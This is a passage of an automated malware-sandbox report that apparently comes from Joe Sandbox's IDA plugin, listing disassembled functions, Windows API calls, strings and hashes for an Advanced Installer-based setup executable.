Function 1001E0F7 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 1001A7F6: __getptd_noexit.LIBCMT ref: 1001A7F7
Part of subcall function 1001A7F6: __amsg_exit.LIBCMT ref: 1001A804

__amsg_exit.LIBCMT ref: 1001E123
__lock.LIBCMT ref: 1001E133
InterlockedDecrement.KERNEL32(?), ref: 1001E150
InterlockedIncrement.KERNEL32(10034C20), ref: 1001E17B

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd_noexit__lock
String ID:
API String ID: 2880340415-0
Opcode ID: 0118f62f079362de73d0149a5e646a3da2d058c27332fb0093e2dab184669954
Instruction ID: b527ee2c6d3c56f5681c6076ea085fafa2e11bdb4375274561a2def266ad6ba8
Opcode Fuzzy Hash: 0118f62f079362de73d0149a5e646a3da2d058c27332fb0093e2dab184669954
Instruction Fuzzy Hash: 88016D39A01661AFDB42EB69888578E77E1FF08751F160406E9106F291CB74FDC1CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 10011440 Relevance: 6.0, APIs: 4, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 10011458
MapWindowPoints.USER32(00000000,00000000), ref: 10011471
RedrawWindow.USER32(00000000), ref: 10011487
SendMessageW.USER32(?,0000000C,00000000,?), ref: 100114A2

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: Window$MessagePointsRectRedrawSend
String ID:
API String ID: 2944517699-0
Opcode ID: b995667e912f45d88a79baf81a9a416fda78dba68161af8df406c78a587512e6
Instruction ID: ca64d96baf6b07923244387a90139b865a12e5bf54fb4fb4b58016c279e446e7
Opcode Fuzzy Hash: b995667e912f45d88a79baf81a9a416fda78dba68161af8df406c78a587512e6
Instruction Fuzzy Hash: 2A01DF71504310BFF200EB10CC8AFAF7BA8EFC5B01F804909F6459A0A0C774DA95CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 1001A6BF Relevance: 6.0, APIs: 4, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(1002DCB0,10030BA8,0000000C,1001A7D1,00000000,00000000,?,?,10001AD3,?), ref: 1001A6D0
InterlockedIncrement.KERNEL32(100347F8), ref: 1001A72B
__lock.LIBCMT ref: 1001A733
___addlocaleref.LIBCMT ref: 1001A752

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: HandleIncrementInterlockedModule___addlocaleref__lock
String ID:
API String ID: 2801583907-0
Opcode ID: 709ff1dd404db19b1d8b125c2737d9825d1602d331c18baf4c7e3f2735b8daed
Instruction ID: 369a2286e42145447c857bb8e2798ec54df95f5f4b133e3671179662ed33da0c
Opcode Fuzzy Hash: 709ff1dd404db19b1d8b125c2737d9825d1602d331c18baf4c7e3f2735b8daed
Instruction Fuzzy Hash: E1115774804B01AEE761EF39DC85B9ABBF0EF04314F61441AE5A99A690CB74EA80CB10

Uniqueness

Uniqueness Score: -1.00%

Function 10015F99 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

Part of subcall function 1001A7F6: __getptd_noexit.LIBCMT ref: 1001A7F7
Part of subcall function 1001A7F6: __amsg_exit.LIBCMT ref: 1001A804

__getptd_noexit.LIBCMT ref: 10015F6F
CloseHandle.KERNEL32(?), ref: 10015F83
__freeptd.LIBCMT ref: 10015F8A
RtlExitUserThread.NTDLL(00000000), ref: 10015F92

Part of subcall function 1001AB92: __FindPESection.LIBCMT ref: 1001ABB9

Memory Dump Source

Source File: 00000004.00000002.3928551999.0000000010001000.00000020.00000001.01000000.00000009.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10001000_setup.jbxd

Similarity

API ID: __getptd_noexit$CloseExitFindHandleSectionThreadUser__amsg_exit__freeptd
String ID:
API String ID: 2409394463-0
Opcode ID: f67cbe03422ec98c3236cf964ce2d68052dbdb584e9dcce6ebf761c9831b1b78
Instruction ID: 333ebb5b86168e80eab8e9e7dde933c8e3d5246a917decfb7d29f8ee1a5ad046
Opcode Fuzzy Hash: f67cbe03422ec98c3236cf964ce2d68052dbdb584e9dcce6ebf761c9831b1b78
Instruction Fuzzy Hash: C1F05E36805910EEE311EBA08C4DB6E37A5EF05362F65021AF6119E0E2DB70DDC28651

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: a1.exePID: 5648, Parent PID: 5256COMMON

Execution Graph

Execution Coverage:	4.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.9%
Total number of Nodes:	2000
Total number of Limit Nodes:	96

Executed Functions

Function 00C2FBF0 Relevance: 24.5, APIs: 2, Strings: 11, Instructions: 1737COMMON

Download Yara Rule

APIs

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

Part of subcall function 00B19120: FindResourceW.KERNEL32(00000000,?,00000006,-00000010,?,?,00B1CB50,-00000010,?,00C555F7,00000008,7E4AB622), ref: 00B19143

SetEvent.KERNEL32(?,?,00000000,?,00000001), ref: 00C2FDE7
SetEvent.KERNEL32(?), ref: 00C2FE45

Part of subcall function 00C3A670: DeleteFileW.KERNEL32(?,00000000,00000000,?,00000000,80004005,?,?,?,7E4AB622), ref: 00C3A69B

Strings

Language selected programatically for UI:, xrefs: 00C303E2
Languages of setup:, xrefs: 00C30EFD
%hu, xrefs: 00C30161
AI_BOOTSTRAPPERLANGS, xrefs: 00C30CA9, 00C30CBB, 00C30CC5
Software\Caphyon\Advanced Installer\, xrefs: 00C302B0
Advinst_Extract_, xrefs: 00C2FC45, 00C2FC57, 00C2FC61
Language used for UI:, xrefs: 00C3045E
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\, xrefs: 00C302C4
A valid language was received from commnad line. This is:, xrefs: 00C30135
Code returned to Windows by setup:, xrefs: 00C2FFA1
Language of a related product is:, xrefs: 00C3032C

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: EventInit_thread_footer$DeleteFileFindHeapProcessResource
String ID: %hu$A valid language was received from commnad line. This is:$AI_BOOTSTRAPPERLANGS$Advinst_Extract_$Code returned to Windows by setup:$Language of a related product is:$Language selected programatically for UI:$Language used for UI:$Languages of setup:$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$Software\Caphyon\Advanced Installer\
API String ID: 4144826820-297406034
Opcode ID: 7ab004c5c7d9c7273b1dc38e5a27f6ad2b7de5981da5f508fdfa39cd15304a82
Instruction ID: e0c4422b88d946723564138f827a68688e1059e9b0941d93ec9272453684f3a6
Opcode Fuzzy Hash: 7ab004c5c7d9c7273b1dc38e5a27f6ad2b7de5981da5f508fdfa39cd15304a82
Instruction Fuzzy Hash: 92E2C331900649DFDB00DFA8C855BAEFBF5EF45314F1482A9E815EB292DB709E45CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B2F3C0 Relevance: 20.1, APIs: 8, Strings: 3, Instructions: 879fileCOMMON

Download Yara Rule

APIs

FindClose.KERNEL32(00000000), ref: 00B2F4D2
FindFirstFileW.KERNEL32(?,00000000,*.*), ref: 00B2F77E
GetFullPathNameW.KERNEL32(?,00000000,00000000,00000000), ref: 00B2F798
GetFullPathNameW.KERNEL32(?,00000000,?,00000000), ref: 00B2F7CB
FindClose.KERNEL32(00000000), ref: 00B2F83C
SetLastError.KERNEL32(0000007B), ref: 00B2F846
_wcsrchr.LIBVCRUNTIME ref: 00B2F89C
_wcsrchr.LIBVCRUNTIME ref: 00B2F8BC

Strings

\\?\UNC\, xrefs: 00B2F553, 00B2F66F, 00B2FA9B, 00B2FBA7
*.*, xrefs: 00B2F4FF, 00B2F507
\\?\, xrefs: 00B2F68A, 00B2F742, 00B2FBC2, 00B2FC7B

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Find$CloseFullNamePath_wcsrchr$ErrorFileFirstLast
String ID: *.*$\\?\$\\?\UNC\
API String ID: 3417489732-1700010636
Opcode ID: 1349f356f5785604e26414dfd32ae56110f6d2fee969d469ff62ca29abe3032e
Instruction ID: b52dfb86e24efe7e89f812d1832dd3b48910a25f6d67a900e936ba01492ff724
Opcode Fuzzy Hash: 1349f356f5785604e26414dfd32ae56110f6d2fee969d469ff62ca29abe3032e
Instruction Fuzzy Hash: 6162D231A006169FDB14DF68D899BAEB7F5FF44310F1482B9E819DB3A1DB31A941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C542C0 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 43
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(?,00000000,00C393DB,?,?,?,?,?), ref: 00C542D5

Strings

EndExtraction, xrefs: 00C54339
InitExtraction, xrefs: 00C5430D
ExtractAllFiles, xrefs: 00C54327
GetTotalFilesSize, xrefs: 00C54315

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: LibraryLoad
String ID: EndExtraction$ExtractAllFiles$GetTotalFilesSize$InitExtraction
API String ID: 1029625771-3462492388
Opcode ID: b9169c7fb35cd8fef649b379437ee044fcfa910781039d533229a881496ad22a
Instruction ID: 323ea6458ea0401acefbb6ecf39896940995f45bb4f1c744efaba1c201d57b8a
Opcode Fuzzy Hash: b9169c7fb35cd8fef649b379437ee044fcfa910781039d533229a881496ad22a
Instruction Fuzzy Hash: 39015EB9900360EFCB14DB69EC48AA63FA0BB18356701121AFC02C3361DB748969DFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00C39090 Relevance: 15.7, APIs: 10, Instructions: 744COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Init_thread_footer$HeapProcess
String ID:
API String ID: 275895251-0
Opcode ID: bac0eac7709b65457f2c490e204f395cc01093d75ef999b83f79c4dbaa2f5a66
Instruction ID: b8f2c79c44d479bb2ff6b842157243cef3a67a9cf0bc77af09447bbd2e2f4111
Opcode Fuzzy Hash: bac0eac7709b65457f2c490e204f395cc01093d75ef999b83f79c4dbaa2f5a66
Instruction Fuzzy Hash: B3628E70910649DFDB10DFA8C988BDEBBF4FF45314F148299E425AB291DBB0AE45CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C55320 Relevance: 9.3, APIs: 6, Instructions: 329
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,7E4AB622,?,?,00000000,?,?,?,?,00D1B91D,000000FF,?,00C3985E), ref: 00C55360
CreateThread.KERNEL32(00000000,00000000,00C556E0,?,00000000,?,7E4AB622,?,?,00000000,?,?,?,?,00D1B91D,000000FF), ref: 00C55396
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00C5549F
GetExitCodeThread.KERNEL32(00000000,?), ref: 00C554AA
CloseHandle.KERNEL32(00000000), ref: 00C554CA

Part of subcall function 00B27340: RaiseException.KERNEL32(7E4AB622,7E4AB622,00000000,00000000,00C556DB,C000008C,00000001,7E4AB622), ref: 00B2734C

WaitForSingleObject.KERNEL32(?,000000FF,7E4AB622,00000000,?,?,00000001), ref: 00C55534

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: CreateObjectSingleThreadWait$CloseCodeEventExceptionExitHandleRaise
String ID:
API String ID: 4001640722-0
Opcode ID: 2a3f86565b26a1c43ae84980d30e3d63ef88f01cd35c2ba865eb528dd49bf402
Instruction ID: d13289f0fbed9ba18ed824a0e0a3675e329f9579e1be8de22d5c26e35c02f7c5
Opcode Fuzzy Hash: 2a3f86565b26a1c43ae84980d30e3d63ef88f01cd35c2ba865eb528dd49bf402
Instruction Fuzzy Hash: 53D17C75A00A05DFCB14CF68C894AAABBF5FF48311F158259E916EB361DB30E984CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00C43330 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 125COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00C4340A

Strings

\, xrefs: 00C433AE
\, xrefs: 00C4338C
\, xrefs: 00C43384

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: DiskFreeSpace
String ID: \$\$\
API String ID: 1705453755-3791832595
Opcode ID: 1c2d32b43e432f8ae6175e0dcb185d1efbbe1d6c4aaed364cc62028f9df48156
Instruction ID: 5f1d0aed6adce2c5f7a78e8dd4e3730d0fe4606fec6a43a94d2ab47ccc287f5e
Opcode Fuzzy Hash: 1c2d32b43e432f8ae6175e0dcb185d1efbbe1d6c4aaed364cc62028f9df48156
Instruction Fuzzy Hash: 5141E262E04391C6CB309F2484456ABBBF4FFD5354F155A2EE8E897190E7308F8687C6

Uniqueness

Uniqueness Score: -1.00%

Function 00C16160 Relevance: 4.6, APIs: 3, Instructions: 93fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00000000,-00000010,?,00000000), ref: 00C161FD
FindClose.KERNEL32(00000000), ref: 00C1625C

Part of subcall function 00B19AE0: HeapAlloc.KERNEL32(?,00000000,?,7E4AB622,00000000,00CD1390,000000FF,?,?,00DAE7AC,?,00B1CB99,80004005,7E4AB622,-00000010,?), ref: 00B19B2A

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Find$AllocCloseFileFirstHeap
String ID:
API String ID: 2507753907-0
Opcode ID: c9b131968520be5a9fb6e91c3ac27704886ddfe2bbef43eba295b0764db25bc9
Instruction ID: 876d33b0e137f9d2a0088a92ef1a662165175e9ef344a3cd475c616ec9a47be7
Opcode Fuzzy Hash: c9b131968520be5a9fb6e91c3ac27704886ddfe2bbef43eba295b0764db25bc9
Instruction Fuzzy Hash: 7031C171904618DBDB24DF55C888BAEF7B4EF46324F20825EE81AE3380D7315E85DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C39F30 Relevance: 3.4, APIs: 2, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Init_thread_footer$HeapProcess
String ID:
API String ID: 275895251-0
Opcode ID: a6c0b9b8b978d6b277e28da185119daa69a9f3d889a0296f058a0acb8a163341
Instruction ID: 6cf9b7b4f72c727aa06240c28c98398ec02e7762ddbe0c791d2791963cd9b96f
Opcode Fuzzy Hash: a6c0b9b8b978d6b277e28da185119daa69a9f3d889a0296f058a0acb8a163341
Instruction Fuzzy Hash: 79E18E30A01649DFDB14CFA8C884BAEBBF4FF44314F14826DE855AB2A1DB74EA45CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00C15B90 Relevance: 3.1, APIs: 2, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee40536b2143b333e46ca324b0756b236fbfe43c23f1dd7300af397b4447e21a
Instruction ID: d0a46236517a0cc1aa18504d23edaa78d20f605dea1dbf5ca79f0a0404a10d25
Opcode Fuzzy Hash: ee40536b2143b333e46ca324b0756b236fbfe43c23f1dd7300af397b4447e21a
Instruction Fuzzy Hash: 4141AE30501B8ADFDB24EF68C959BEE73B4EF85310F408669E825972D1DB709E84DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C505F0 Relevance: 3.1, APIs: 2, Instructions: 86filepipeCOMMON

Download Yara Rule

APIs

CreateNamedPipeW.KERNEL32(?,00000003,00000006,000000FF,00007F90,00007F90,00001388,00000000,?,7E4AB622,7E4AB622,?,?,?,?,00000000), ref: 00C50679
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,00000000,00000000,?,7E4AB622,7E4AB622,?,?,?,?,00000000,00CD1875), ref: 00C5069A

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Create$FileNamedPipe
String ID:
API String ID: 1328467360-0
Opcode ID: 095809ef75b1727c84ce4d0a753897da6aac5927c9b0932a673107455ab2199d
Instruction ID: e8bbeafa6d702a3dff2cd55554b9ee586213171f2755f2cdb49e95a98c3fa6a1
Opcode Fuzzy Hash: 095809ef75b1727c84ce4d0a753897da6aac5927c9b0932a673107455ab2199d
Instruction Fuzzy Hash: 0C312535A84745BFE731CF14CC01B99BBA4EB01720F20822EFD69976D0CB71AA44CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00B46D50 Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

__set_se_translator.LIBVCRUNTIME ref: 00B46D68
SetUnhandledExceptionFilter.KERNEL32(00C14F70), ref: 00B46D7E

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: ExceptionFilterUnhandled__set_se_translator
String ID:
API String ID: 2480343447-0
Opcode ID: e54ea6d232ddb7f0443692e318cab95df445ba8903cce16fd46b66ac7c285230
Instruction ID: 569bf2b7d28bb0bc49f758135011b17e74ba885ef3658311d38feffd8ee7a724
Opcode Fuzzy Hash: e54ea6d232ddb7f0443692e318cab95df445ba8903cce16fd46b66ac7c285230
Instruction Fuzzy Hash: E7E02666A04340AEDB109394AC0AF8E3F94DB97B21F054067F10097361C3B04881E372

Uniqueness

Uniqueness Score: -1.00%

Function 00C29990 Relevance: 32.1, APIs: 8, Strings: 10, Instructions: 596libraryloaderCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000104,System32Folder,0000000E), ref: 00C29C90
GetWindowsDirectoryW.KERNEL32(?,00000104,WindowsFolder,0000000D), ref: 00C29D77
GetModuleFileNameW.KERNEL32(00000000,?,00000104,WindowsVolume,0000000D), ref: 00C29F5D

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

GetWindowsDirectoryW.KERNEL32(?,00000104,WindowsVolume,0000000D), ref: 00C29E55

Part of subcall function 00B19120: FindResourceW.KERNEL32(00000000,?,00000006,-00000010,?,?,00B1CB50,-00000010,?,00C555F7,00000008,7E4AB622), ref: 00B19143

GetTempPathW.KERNEL32(00000104,?,WindowsVolume,0000000D), ref: 00C29EC1
__Init_thread_footer.LIBCMT ref: 00C2A085
LoadLibraryW.KERNEL32(shfolder.dll), ref: 00C2A09B
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00C2A0CD

Strings

WindowsFolder, xrefs: 00C29D04, 00C29D19, 00C29D23
ProgramW6432, xrefs: 00C29A24
shfolder.dll, xrefs: 00C2A096
TempFolder, xrefs: 00C29E7F
SystemFolder, xrefs: 00C29AFF, 00C29B14, 00C29B1E
SETUPEXEDIR, xrefs: 00C29F0C
ProgramFiles64Folder, xrefs: 00C299C8
System32Folder, xrefs: 00C29C1D, 00C29C32, 00C29C3C
WindowsVolume, xrefs: 00C29DE4, 00C29DF9, 00C29E03
SHGetFolderPathW, xrefs: 00C2A0C7

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: DirectoryInit_thread_footer$Windows$AddressFileFindHeapLibraryLoadModuleNamePathProcProcessResourceSystemTemp
